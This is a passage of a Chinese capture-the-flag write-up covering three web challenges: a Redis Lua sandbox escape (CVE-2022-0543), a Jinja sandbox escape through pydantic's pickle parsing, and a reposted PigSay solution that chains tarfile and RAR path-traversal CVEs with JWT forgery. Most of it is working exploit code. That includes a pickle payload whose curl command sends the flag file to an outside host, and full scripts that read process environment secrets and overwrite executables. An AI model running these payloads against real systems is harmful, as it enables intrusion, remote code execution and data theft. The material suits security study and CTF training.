if(isset($_POST['eval'])){
    $cmd = $_POST['eval'];
    if(preg_match("/set|php/i", $cmd))
    {
        $cmd = 'return "u are not newstar";';
    }

    $example = new Redis();
    $example->connect($REDIS_HOST);
    $result = json_encode($example->eval($cmd));

    echo '<h1 class="subtitle">结果</h1>';
    echo "<pre>$result</pre>";
}
?>

搜索 Redis 常用利用方法，发现如果过滤了 set php，那么我们很难通过写 webshell，写入计划任务、主从复制来进行 getshell

于是我们搜索⼀下 Redis 5 的历史漏洞

发现 CVE-2022-0543 值得一试: Redis Lua 沙盒绕过命令执行（CVE-2022-0543）

于是我们得到了⼀个 payload:

1	eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

由于我们网站执行的是 redis 命令

于是去掉外面的 eval 即可

1	local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /flag", "r"); local res = f:read("*a"); f:close(); return res

jinjaclub

源码

from jinja2.sandbox import SandboxedEnvironment
from jinja2.exceptions import UndefinedError
from fastapi import FastAPI, Form
from fastapi.responses import HTMLResponse
from pydantic import BaseModel
from typing_extensions import Annotated
from typing import Union

app = FastAPI()

class User(BaseModel):
    name: str
    description: Union[str, None] = None
    age: int


class Template(BaseModel):
    source: str

@app.get("/", response_class=HTMLResponse)
def index():
  return 'TEST_OUTPUT'
@app.get("/preview", response_class=HTMLResponse)
def preview_page():
    return """
 // SOME THING THERE
<body>
    <div class="container">
        <h1>Mailer Preview</h1>
        <p>Customize your ninja message:</p>
        <form id="form" onsubmit="handleSubmit(event);">
            <label for="name">Name variable:</label>
            <input id="name" name="name" value="John" />

            <label for="description">Description variable:</label>
            <input id="description" name="description" placeholder="Describe yourself here..." />

            <label for="age">Age variable:</label>
            <input id="age" name="age" type="number" value="18" />

            <label for="template">Template:</label>
            <textarea id="template" name="template" rows="10">Hello {{user.name}}, are you older than {{user.age}}?</textarea>
            
            <button type="submit">Preview</button>
        </form>
        <div id="output">Preview will appear here...</div>
    </div>
    <script>
        function handleSubmit(event) {
            event.preventDefault();
            const data = new FormData(event.target);
            const body = {user: {}, template: {source: data.get('template')}};
            body.user.name = data.get('name');
            body.user.description = data.get('description');
            body.user.age = data.get('age');
            
            fetch('/preview', {
                method: 'POST', 
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify(body)
            })
            .then(response => response.text())
            .then(html => document.getElementById('output').innerHTML = html)
            .catch(error => console.error('Error:', error));
        }
    </script>
</body>
// SOME THING THERE
""" 
@app.post("/preview", response_class=HTMLResponse)
def submit_preview(template: Template, user: User):
    env = SandboxedEnvironment()
    try:
        preview = env.from_string(template.source).render(user=user)
        return preview
    except UndefinedError as e:
        return e

明显是SSTI，但是有沙箱

看SandboxedEnvironment()的defination
alt text

sandbox 的过滤是要求不能调用对象以 _ 开头的, 以及 mro

本地调试下断可以看到, 当前 SSTI 的 Context 下只有这个, 我们在控制台里面调试调试, dir 一下
alt text

测试看到符合条件的有:

dict

1	'clear', 'copy', 'fromkeys', 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values’

cycler

1	'current', 'next', 'reset’

user

'age', 'construct', 'copy', 'description', 'dict', 'from_orm', 'json', 'model_computed_fields', 'model_config', 'model_construct', 'model_copy', 'model_dump', 'model_dump_json', 'model_extra', 'model_fields', 'model_fields_set', 'model_json_schema', 'model_parametrized_name', 'model_post_init', 'model_rebuild', 'model_validate', 'model_validate_json', 'model_validate_strings', 'name', 'parse_file', 'parse_obj', 'parse_raw', 'schema', 'schema_json', 'update_forward_refs', 'validate’

考虑一下 User 哪里来的这么多东西, 感觉其中的有些东西挺有趣的
alt text

发现是 BaseModel 的东西, 原来是继承了这玩意儿

我们看看 parse_file

1	{{user.parse_file("/flag.txt")}}

alt text

真能! 但是继续测试发现他会把这个当成 JSON 解析, 和 flag 格式不符合

继续审计
alt text

看到了 pickle

通过传参:

1	{{user.parse_raw("str", proto="pickle", allow_pickle=True)}}

发现能够走到!

此时我们需要将 pickle 好的数据进行稳定的转换到 str 之后也能稳定转回bytes, 在一番测试和寻找后我们锁定到了 bytes.fromhex 于我们可以创建一个 Pickle

import os
import pickle
import base64

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

    def __reduce__(self):
        return (eval, ("__import__('os').system('curl <http://vps:port/`cat> /flag.txt|base64`')",))

user = User("kengwang", "hatepython")
print(pickle.dumps(user).hex())

# 祖传 Pickle 利用脚本

最终的 payload 为:

{{user.parse_raw("".encode("utf-8").fromhex("80049572000000000000008c086275696c74696e73948c046576616c9493948c565f5f696d706f72745f5f28276f7327292e73797374656d28276375726c20687474703a2f2f6374662e6b656e6777616e672e636f6d2e636e3a383038352f60636174202f666c61672e7478747c62617365363460272994859452942e"), proto="pickle", allow_pickle=True)}}

PigSay

转载自https://www.woodwhale.cn/2025-r3ctf-misc-pigsay-wp/#chu-ti-guo-cheng

alt text

题目组成

app.py

#!/usr/bin/env python

from importlib import reload
from os import environ
from pathlib import Path
from subprocess import check_output
from tempfile import NamedTemporaryFile, TemporaryDirectory
from uuid import uuid4

import jwt
import pigsay
import uvicorn
from litestar import Litestar, get, post
from litestar.datastructures import UploadFile
from litestar.params import Body
from litestar.static_files import create_static_files_router

JWT_KEY = environ.pop("JWT_KEY").encode()
PIG_KEY = environ.pop("PIG_KEY").encode()
converter = pigsay.PigConverter(PIG_KEY)


@get("/api/ping")
async def ping() -> dict[str, str]:
    """
    Ping? Pong!
    """
    return {"code": 20000, "msg": "pong"}


@post("/api/encrypt")
async def encrypt(data: dict) -> dict[str, str]:
    """
    Encrypt some text to pigsay text.
    """
    try:
        ret = converter.encrypt_string(str(data["text"]))
        return {"code": 20000, "msg": "encrypt success", "data": ret}
    except Exception as e:
        return {"code": 50000, "msg": f"encrypt error: {e}"}


@post("/api/decrypt")
async def decrypt(data: dict) -> dict[str, str]:
    """
    Decrypt some pigsay text.
    """
    try:
        ret = converter.decrypt_string(str(data["text"]))
        return {"code": 20000, "msg": "decrypt success", "data": ret}
    except Exception as e:
        return {"code": 50000, "msg": f"decrypt error: {e}"}


def check_file_type(filename: str):
    allows = [".zip", ".rar", ".7z", ".tar.gz"]
    return any([filename.endswith(allow) for allow in allows])


def uncompress_file(filepath: str, handler: callable):
    file = Path(filepath)
    suffix = "".join(file.suffixes)
    with TemporaryDirectory(uuid4().hex) as tmp_dir:
        tmp_dir = Path(tmp_dir)
        try:
            args = (filepath, str(tmp_dir.absolute()))
            match suffix:
                case ".zip":
                    unzip_file(*args)
                case ".rar":
                    unrar_file(*args)
                case ".7z":
                    un7z_file(*args)
                case ".tar.gz":
                    untar_file(*args)
                case _:
                    raise Exception(f"Unsupported file type: {suffix}")
            return {
                "code": 20000,
                "msg": "success",
                "data": {
                    item.name: handler(item.read_text())
                    for item in tmp_dir.glob("*.txt")
                },
            }
        except Exception as e:
            return {"code": 50000, "msg": f"Uncompress file error: {e}"}


def unzip_file(filepath: str, extract_to_filepath: str):
    import zipfile

    with zipfile.ZipFile(filepath) as zf:
        zf.extractall(extract_to_filepath)


def unrar_file(filepath: str, extract_to_filepath: str):
    import rarfile

    with rarfile.RarFile(filepath) as rf:
        rf.extractall(extract_to_filepath)


def un7z_file(filepath: str, extract_to_filepath: str):
    import py7zr

    with py7zr.SevenZipFile(filepath) as sf:
        sf.extractall(extract_to_filepath)


def untar_file(filepath: str, extract_to_filepath: str):
    import tarfile

    with tarfile.open(filepath, "r:gz") as tf:
        tf.extractall(extract_to_filepath)


@post("/api/file/encrypt", request_max_body_size=1024 * 1024)
async def encrypt_file(
    data: UploadFile = Body(media_type="multipart/form-data"),
) -> dict[str, str]:
    """
    We can encrypt some txt file in a compressed file
    """
    filename = data.filename
    if not check_file_type(filename):
        return {"code": 40000, "msg": "Invalid file type"}
    content = await data.read()
    try:
        with NamedTemporaryFile(mode="wb", suffix=filename) as tmp:
            tmp.write(content)
            tmp.seek(0)
            return uncompress_file(tmp.name, converter.encrypt_string)
    except Exception as e:
        return {"code": 50000, "msg": f"Encrypt file error: {e}"}


@post("/api/file/decrypt", request_max_body_size=1024 * 1024)
async def decrypt_file(
    data: UploadFile = Body(media_type="multipart/form-data"),
) -> dict[str, str]:
    """
    We can decrypt some txt file in a compressed file
    """
    filename = data.filename
    if not check_file_type(filename):
        return {"code": 40000, "msg": "Invalid file type"}
    content = await data.read()
    try:
        with NamedTemporaryFile(mode="wb", suffix=filename) as tmp:
            tmp.write(content)
            tmp.seek(0)
            return uncompress_file(tmp.name, converter.decrypt_string)
    except Exception as e:
        return {"code": 50000, "msg": f"Encrypt file error: {e}"}


@post(f"/api/admin/upgrade/{uuid4().hex}")
async def upgrade(headers: dict) -> dict[str, str]:
    """
    Only admin can do!
    """
    token = headers.get("r3-token")
    if not token:
        return {"code": 40300, "msg": "Authentication Failed"}
    try:
        if jwt.decode(token, JWT_KEY, algorithms=["HS256"]).get("role") != "admin":
            return {"code": 40300, "msg": "Permission Denied"}
    except Exception:
        return {"code": 40300, "msg": "Authentication Error"}

    try:
        ret = (
            check_output(
                ["/app/upgrade.sh"],
                env=None,
                universal_newlines=True,
                timeout=60,
                user="r3ctf",
            )
            .strip()
            .replace("\n", ", ")
        )

        reload(pigsay)

        global converter
        converter = pigsay.PigConverter(PIG_KEY)

        return {"code": 20000, "msg": "Upgrade successfully", "data": ret}
    except Exception as e:
        return {"code": 50000, "msg": "Upgrade failed", "data": str(e)}


app = Litestar(
    route_handlers=[
        ping,
        encrypt,
        decrypt,
        encrypt_file,
        decrypt_file,
        upgrade,
        create_static_files_router(path="/static", directories=["static"]),
        create_static_files_router(path="/", directories=["public"], html_mode=True),
    ],
)

uvicorn.run(app, host="0.0.0.0", port=8000)

upgrade.sh

关键的利用脚本，这个脚本在 Dockerfile 中被设置了不可写，只能读和执行，目的是防止这个脚本被覆盖从而任意命令执行了，得让选手再找一个可以写的文件进行利用。

整个脚本只是用了 uv 和 uvx ，这两个文件也都是不可写的，所以可以 strace 看看 uv add 和 uvx pigsay 到底执行了什么。

预期的解法就是 uvx pigsay 执行的时候，其实是执行 /home/r3ctf/.local/share/uv/tools/pigsay/bin/pigsay 这个文件，而这个文件是可以写入的，所以覆盖这个文件后，调用 uvx pigsay … 就会执行覆盖后的命令。

#!/bin/sh
cd /app

if uv add -U pigsay && uv tool upgrade pigsay; then
    uvx pigsay encrypt "[$(date "+%Y-%m-%d %H:%M:%S")] Upgrade Success!"
else
    uvx pigsay encrypt "[$(date "+%Y-%m-%d %H:%M:%S")] Upgrade failed!"
fi

start.sh

这个启动文件没啥好说的，主要是适配平台的环境变量和做一些权限控制。以及设置随机 flag文件名和 JWT_KEY。

#!/bin/sh

echo $FLAG > /app/flag_$(python -c 'import uuid; print(uuid.uuid4().hex)') && \
chmod 744 /app/flag_*

unset FLAG
export FLAG=R3CTF{fake_flag}
FLAG=R3CTF{fake_flag}

rm -rf $0

su -s /bin/sh r3ctf -c \
'JWT_KEY=$(python -c "import uuid; print(uuid.uuid4().hex)") PIG_KEY=$(python -c "import uuid; print(uuid.uuid4().hex)") uv run app.py'

Dockerfile

除了 uv 相关的操作，其他都是 root 用户执行的，避免一些非预期。

FROM python:3.14.0b2-alpine3.21

COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/

WORKDIR /app

RUN apk add --no-cache gcc musl-dev linux-headers
RUN addgroup -S r3ctf && \
    adduser -S r3ctf -G r3ctf -s /bin/sh && \
    chown r3ctf:r3ctf /app

COPY start.sh /start.sh
COPY app.py /app/
COPY upgrade.sh /app/
COPY pyproject.toml /app/
COPY public /app/public/
COPY static /app/static/

RUN chmod 755 /start.sh && \
    chmod 744 /app/app.py && \
    chmod 755 /app/upgrade.sh

USER r3ctf
RUN uv tool install pigsay && uv sync

USER root
ENTRYPOINT ["/start.sh"]

解题思路

其实如果 get 到了 Dockerfile 中的 JWT_KEY 环境变量，就知道肯定要读 /proc/self/environ （或者执行 env），结合 tarfile 的任意文件读，显然是前者，软连接的方式很轻松就可以获取 JWT_KEY。

随后配合 /schema 泄漏的路径，就可以调用 upgrade 函数了。

最关键的一点，一旦知道了 CVE-2025-4517 能够写文件，那么就可以覆盖 /home/r3ctf/.local/share/uv/tools/pigsay/bin/pigsay 从而执行任意命令了。

最后的 exp.py 脚本如下：

#!/usr/bin/env python
import os
import re
import tarfile
from io import BytesIO
from traceback import print_exc

import jwt
import requests

url = "http://127.0.0.1:8000"
# url = "http://s1.r3.ret.sh.cn:32497"


def decrypt(enc: str):
    req = requests.post(
        f"{url}/api/decrypt",
        json={
            "text": enc,
        },
    )
    resp = req.json()
    return resp["data"]


def read_file(filename: str):
    try:
        with tarfile.open("./read.tar.gz", "w:gz") as tar:

            def addmemb(name, **kwargs):
                memb = tarfile.TarInfo(name)
                for k, v in kwargs.items():
                    getattr(memb, k)
                    setattr(memb, k, v)
                tar.addfile(memb)

            addmemb("a/", type=tarfile.SYMTYPE, linkname="../")
            addmemb("b/", type=tarfile.SYMTYPE, linkname="a/../../")
            addmemb("data.txt/", type=tarfile.SYMTYPE, linkname=f"b{filename}")

        req = requests.post(
            f"{url}/api/file/encrypt", files={"file": open("./read.tar.gz", "rb")}
        )
        resp = req.json()
        data_enc = resp["data"]["data.txt"]
        data_str = decrypt(data_enc)

        return data_str
    except Exception:
        print_exc()
    finally:
        os.remove("./read.tar.gz")


def write_file(filename: str, content: str):
    """
    https://github.com/python/cpython/blob/3612d8f51741b11f36f8fb0494d79086bac9390a/Lib/test/test_tarfile.py#L3791
    """
    try:
        with tarfile.open("./write.tar.gz", "w:gz") as tar:

            def addmemb(name, **kwargs):
                memb = tarfile.TarInfo(name)
                fileobj = None
                for k, v in kwargs.items():
                    if k == "content":
                        content = v
                        content = content.encode()
                        memb.size = len(content)
                        fileobj = BytesIO(content)
                    else:
                        setattr(memb, k, v)
                tar.addfile(memb, fileobj)

            # docker alpine image has 4096
            # assert "PC_PATH_MAX" in os.pathconf_names
            # max_path_len = os.pathconf("/app", "PC_PATH_MAX")
            max_path_len = 4096

            steps = "abcdefghijklmnop"
            path_sep_len = 1
            # # TemporaryDirectory len + uuid len + self path len
            dest_len = 11 + 32 + path_sep_len
            component_len = (max_path_len - dest_len) // (len(steps) + path_sep_len)
            component = "d" * component_len

            path = ""
            step_path = ""
            for i in steps:
                addmemb(os.path.join(path, component), type=tarfile.DIRTYPE, mode=0o777)
                addmemb(os.path.join(path, i), type=tarfile.SYMTYPE, linkname=component)
                path = os.path.join(path, component)
                step_path = os.path.join(step_path, i)

            linkpath = os.path.join(*steps, "l" * 254)
            parent_segments = [".."] * len(steps)

            addmemb(
                linkpath,
                type=tarfile.SYMTYPE,
                linkname=os.path.join(*parent_segments),
            )
            addmemb(
                "escape",
                type=tarfile.SYMTYPE,
                linkname=os.path.join(linkpath, "../"),
            )
            addmemb(
                "data.txt",
                type=tarfile.LNKTYPE,
                linkname=os.path.join("escape", ".." + filename),
            )
            addmemb(
                "data.txt",
                content=content,
                mode=0o777,
            )

        req = requests.post(
            f"{url}/api/file/encrypt", files={"file": open("./write.tar.gz", "rb")}
        )
        resp = req.json()
        data_enc = resp["data"]["data.txt"]
        data_str = decrypt(data_enc)
        return data_str
    except Exception:
        print_exc()
    finally:
        os.remove("./write.tar.gz")


def exec_upgrade_sh(jwt_key: str):
    req = requests.get(f"{url}/schema")
    resp = req.text
    uuid = re.search(r'"/api/admin/upgrade/([a-z0-9]+?)"', resp).group(1)
    token = jwt.encode(
        {"role": "admin", "username": "woodwhale"},
        key=jwt_key,
        algorithm="HS256",
    )
    upgrade_api = f"{url}/api/admin/upgrade/{uuid}"
    req = requests.post(upgrade_api, headers={"r3-token": token})
    resp = req.json()
    print(resp)
    return resp["data"]


def main():
    print("[DEBUG]", "read file...")
    env = read_file("/proc/self/environ")
    print(f"{env=}")

    print("[DEBUG]", "write file...")
    write_file(
        "/home/r3ctf/.local/share/uv/tools/pigsay/bin/pigsay",
        '#!/bin/sh\necho -e "flag: $(cat /app/flag*)"',
    )

    print("[DEBUG]", "exec sh...")
    flag = exec_upgrade_sh(re.search(r"JWT_KEY=([^\n]+?)\x00", env).group(1))
    print("[INFO]", flag)


if __name__ == "__main__":
    main()

再看看一位外国老哥的解法

主要漏洞存在于存档提取逻辑中，其中文件仅在没有适当验证的情况下仅根据文件扩展名提取：

def unzip_file(filepath: str, extract_to_filepath: str):
    import zipfile

    with zipfile.ZipFile(filepath) as zf:
        zf.extractall(extract_to_filepath)


def unrar_file(filepath: str, extract_to_filepath: str):
    import rarfile

    with rarfile.RarFile(filepath) as rf:
        rf.extractall(extract_to_filepath)


def un7z_file(filepath: str, extract_to_filepath: str):
    import py7zr

    with py7zr.SevenZipFile(filepath) as sf:
        sf.extractall(extract_to_filepath)


def untar_file(filepath: str, extract_to_filepath: str):
    import tarfile

    with tarfile.open(filepath, "r:gz") as tf:
        tf.extractall(extract_to_filepath)

def uncompress_file(filepath: str, handler: callable):
    file = Path(filepath)
    suffix = "".join(file.suffixes)
    with TemporaryDirectory(uuid4().hex) as tmp_dir:
        tmp_dir = Path(tmp_dir)
        try:
            args = (filepath, str(tmp_dir.absolute()))
            match suffix:
                case ".zip":
                    unzip_file(*args)
                case ".rar":
                    unrar_file(*args)
                case ".7z":
                    un7z_file(*args)
                case ".tar.gz":
                    untar_file(*args)
                case _:
                    raise Exception(f"Unsupported file type: {suffix}")
            return {
                "code": 20000,
                "msg": "success",
                "data": {
                    item.name: handler(item.read_text())
                    for item in tmp_dir.glob("*.txt")
                },
            }
        except Exception as e:
            return {"code": 50000, "msg": f"Uncompress file error: {e}"}

关键点：服务器在没有任何清理的情况下提取存档内容，导致路径遍历和其他攻击。
执行其他特权的唯一路由是/api/admin/upgrade/uuid4，它允许执行脚本/app/upgrade.sh

第 1 步 - 获取管理员路由

通过框架自动公开的路径发现：/schema

1	http://localhost:8000/schema

从那里，我们获得了完整的路径：

1	http://localhost:8000/api/admin/upgrade/fe96ce856353412083801dc6ff9eb99f

第 2 步 – CVE-2024-12390：RAR 符号链接攻击

通过制作恶意.rar文件，我们能够覆盖用户缓存目录中的二进制文件。

#!/bin/sh
set -e
LAST_FOLDER=bin
ATTACK_PATH=/home/r3ctf/.local/share/uv/tools/pigsay/$LAST_FOLDER
ATTACK_FILE=pigsay
SCRIPT='#!/bin/sh
cat /app/flag_*'

ln -sf "$ATTACK_PATH" "$LAST_FOLDER"
rar a -ol 1.rar "$LAST_FOLDER"
rm -f "$LAST_FOLDER"

mkdir -m 755 "$LAST_FOLDER"
umask 022 && printf '%s\n' "$SCRIPT" > "$LAST_FOLDER/$ATTACK_FILE"
chmod +x "$LAST_FOLDER/$ATTACK_FILE"

rar a 1.rar "$LAST_FOLDER/$ATTACK_FILE"
rm -rf "$LAST_FOLDER"

这替换了脚本upgrade.sh使用的缓存二进制文件pigsay：

#!/bin/sh
cd /app

if uv add -U pigsay && uv tool upgrade pigsay; then
    uvx pigsay encrypt "[$(date "+%Y-%m-%d %H:%M:%S")] Upgrade Success!"
else
    uvx pigsay encrypt "[$(date "+%Y-%m-%d %H:%M:%S")] Upgrade failed!"
fi

即使二进制文件似乎位于/app/.venv/bin/pigsay，实际执行也是通过缓存进行的。这是通过 strace 发现的：

(r3ctf-pigsay) /app $ strace -f uvx pigsay 2>&1 | grep pigsay | grep exec
...
[pid   542] execve("/home/r3ctf/.local/share/uv/tools/pigsay/bin/pigsay", ["pigsay"], 0x7f08fb292230 /* 13 vars */) = 0
...

第 3 步 – CVE-2024-12718：Tarfile 路径转义

我们利用此漏洞来逃逸解压目录并读取磁盘上的任意文件：

#!/usr/bin/python3

import argparse
import os
import tarfile

ap = arparse = argparse.ArgumentParser()
ap.add_argument('tarpath', metavar='TARBALL')
ap.add_argument('target', metavar='TARGET')
opts = ap.parse_args()
target = os.path.abspath(opts.target)

with tarfile.open(opts.tarpath, 'w:gz') as tar:

    def addmemb(name, **kwargs):
        memb = tarfile.TarInfo(name)
        for k, v in kwargs.items():
            getattr(memb, k)
            setattr(memb, k, v)
        tar.addfile(memb)

    # lrw-r--r-- pwn -> .
    addmemb('pwn.txt', type=tarfile.SYMTYPE, linkname='.')
    # "pwn" is a very innocent symlink.

    # drwxrwxrwx pwn/
    addmemb('pwn.txt', type=tarfile.DIRTYPE, mode=0o777)
    # But now "pwn" is also a directory, so it's scheduled to have its
    # metadata updated later.

    # lrw-r--r-- pwn -> x/x/x/x/⋯⋯⋯/x/../../../../⋯⋯⋯/../TARGET
    addmemb('pwn.txt', type=tarfile.SYMTYPE, linkname=('x/' * 99 + '../' * 99 + target))
    # Oops, "pwn" is not so innocent any more.
    # But technically it's still pointing inside the dest dir,
    # so it doesn't upset the "data" filter.

    # lrw-r--r-- x/x/x/x/⋯⋯⋯/x -> ../../../⋯⋯⋯/..
    addmemb(('x/' * 99), type=tarfile.SYMTYPE, linkname=('../' * 98))
    # The newly created symlink symlink points to the dest dir,
    # so it's OK for the "data" filter.
    # But now "pwn" points to the target (outside the dest dir).

1	./gen_tar.py target.tar.gz ../../../proc/self/environ

这允许从进程中泄漏环境变量：

HOME=/home/r3ctf
HOSTNAME=12fa963dce40
JWT_KEY=8346ea5cec134e078470d40a3a6c1592
LOGNAME=r3ctf
PATH=/app/.venv/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PIG_KEY=5f62bbfd4182406292799469d9ea07c0
PWD=/app
PYTHON_SHA256=7ac9e84844bbc0a5a8f1f79a37a68b3b8caf2a58b4aa5999c49227cb36e70ea6
PYTHON_VERSION=3.14.0b2
SHELL=/bin/sh
SHLVL=2
USER=r3ctf
UV=/bin/uv
UV_RUN_RECURSION_DEPTH=1
VIRTUAL_ENV=/app/.venv

第 4 步 – 生成有效的管理员 JWT

一旦我们有了JWT_KEY，我们就可以生成一个有效的管理员令牌：

import jwt

JWT_KEY=b"8346ea5cec134e078470d40a3a6c1592"
token = jwt.encode({"role": "admin"}, JWT_KEY, algorithm="HS256")
print(token)


eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4ifQ.tsrBCvTJwR9riZ86BMA9VlOYZHZMMae_WfX5l5YopFU

第 5 步 – 触发漏洞利用并读取flag

import requests

res = requests.post(
    'http://<url>:<port>/api/admin/upgrade/f7693ee87ba94904b97080d3819d1425',
    headers={'r3-token': token}
)
print(res.text)